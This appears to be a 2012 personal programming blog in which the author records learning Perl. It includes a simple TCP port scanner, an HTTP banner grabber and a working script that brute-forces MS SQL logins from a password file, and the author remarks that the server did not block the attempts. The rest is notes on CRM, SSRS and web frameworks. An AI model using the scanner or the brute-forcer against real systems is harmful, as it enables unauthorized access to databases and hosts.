#!/usr/bin/perl -w
#lamescan.pl
use strict;
use warnings;
use IO::Socket;
my $target;
if ( @ARGV == 0 ) {
print "Usage $0 [ip]\n";
exit;
}
else {
$target = $ARGV[0];
}
my @ports=(80,443,22,21);
foreach (@ports)
{
print "\nTrying port ".$_;
my $connect = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $_,
Timeout => .60,
);
if(defined($connect))
{
print ">>>>>>>>port ".$_." is open";
}
else
{
print "... nope";
}
}
quarta-feira, 19 de dezembro de 2012
Yes, I'm really impressed with how it is easy
To program with Perl... i might even check their most known framework, catalyst.
Perl Get HTTP Banner
the old days...
#!/usr/bin/perl -w
use strict;
use warnings;
use IO::Socket;
my $target;
my $port=80;
if ( @ARGV == 0 ) {
print "Usage $0 [ip]\n";
exit;
}
else {
$target = $ARGV[0];
}
my $remote2 = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $target,
PeerPort => $port,
)
or die "cannot connect to port $port at $target";
print "HEAD\n";
print "============\n";
print $remote2 "HEAD \n";
while ( <$remote2> )
{
print $_;
}
print "END OF HEAD\n";
close $remote2;
segunda-feira, 17 de dezembro de 2012
Number of lines to post a twit with Perl
this many:
#!/usr/bin/perl
use Net::Twitter;
my $nt = Net::Twitter->new(
traits => [qw/OAuth API::REST/],
consumer_key => 'xxxx',
consumer_secret => 'xxxx',
access_token => 'xxxx',
access_token_secret => 'xxxx',
);
my $result = $nt->update("uh");
sexta-feira, 14 de dezembro de 2012
Perl brute force for fun
Never really programmed in perl, but this afternoon i had lots of fun learning it and doing a small brute force vs ms sql. I was expecting sql server would block this fast attemps to the database, it does not.
Comparing to .net, this is way funnier and faster to code.
Improving code sounds a fun thing to do as well, since there's a lot to improve!
Obviously there are tons of code that do this and in a much better way, but this was for fun only.
#!/usr/bin/perl -w
use strict;
use warnings;
use DBI;
my $odbcdriver=""; # your odbc driver has to be installed on the client machine
my $dbuser=""; # ms sql default is sa, try other username if you want
if ( $#ARGV <1 )
{
print "\nUSAGE 1: perl brut.pl _ODBCDRIVER_ _user_ \n";
die("");
}
else
{
$odbcdriver=$ARGV[0];
$dbuser=$ARGV[1];
}
my $data_source="dbi:ODBC:".$odbcdriver;
my $dbh;
my $pwd;
open(my $in, "<", "passwords.txt") or die "Can't open passwords.txt: $!";
while ( <$in>) {
chomp($_);
$dbh = DBI->connect($data_source, $dbuser, $_);
if($dbh)
{
print "=>".$_;
print ("=>SUCCESS!\n");
$dbh->disconnect;
die("... boink...");
}
else
{
print "=>".$_;
print("=>NO FUN!\n");
}
}
... and now for something totally different
I'm doing PL/SQL and SAP BO... tired of this shit of bouncing between technologies within weeks.
That said i've been playing with Perl and MS SQL and i'll post soon something for fun.
That said i've been playing with Perl and MS SQL and i'll post soon something for fun.
quinta-feira, 22 de novembro de 2012
Bloody microsoft crm
So, first make sure you have the right Plugin Registration Tool ( don't download one from microsoft!use the one from source in your sdk: 1h ), then make sure to change your discovery URL... not the one you used in other stuff ( as in, code VS2010 to access exchangeserver and stuff... not the same. "uh?" "exactly". 1h ): link
After that it is painless, just follow this one for including a plugin in crm.
Etiquetas:
microsoft crm,
microsoft crm plugin registration tool
quarta-feira, 21 de novembro de 2012
quinta-feira, 18 de outubro de 2012
Passing a parameter to SSRS report
Lost an hour trying to pass a parameter to a mdx query in SSRS.
After lots of tries here is the best answer: link .
Not as straight forward as i liked but it works.
terça-feira, 2 de outubro de 2012
Oracle CRM, SSAS, CodeIgniter, MySQL
Currently i'm doing "oracle crm" at work (and honestly i don't really like it, but it pays the bills), when i have spare time i try to improve my skills about SSAS, i trully think every company will have a BI component pretty soon.
Now, for another project i had to learn codeigniter ( a PHP framework ) so play! framework and mongodb are on halt, don't know for how long.
Microsoft has a really nice tutorial about SSAS ( which is weird microsoft having that ), you can see it here.
Now, for another project i had to learn codeigniter ( a PHP framework ) so play! framework and mongodb are on halt, don't know for how long.
Microsoft has a really nice tutorial about SSAS ( which is weird microsoft having that ), you can see it here.
Etiquetas:
CodeIgniter,
MySQL,
Oracle CRM,
PHP Framework,
SSAS
terça-feira, 14 de agosto de 2012
Play Framework Mongodb
I've been learning new stuff like rails and mongodb ( wow ) and a bit of node.js. BTW, you know meteor framework ? You should look at it just for information.
Well i dislike rails, yes it's kind of easy if you have a small project, if you do something bigger it can get you dizzy ( at least to me, with C and then C# background ).
So i looked at JAVA and now i've been playing with play framework. What a breeze, nice enough docs, easy to learn, easy to code, lets see if it's easy with a bigger project.
So far, it works, you follow the tutorials and it simply works. KISS style.
quarta-feira, 27 de junho de 2012
Subscrever:
Comentários (Atom)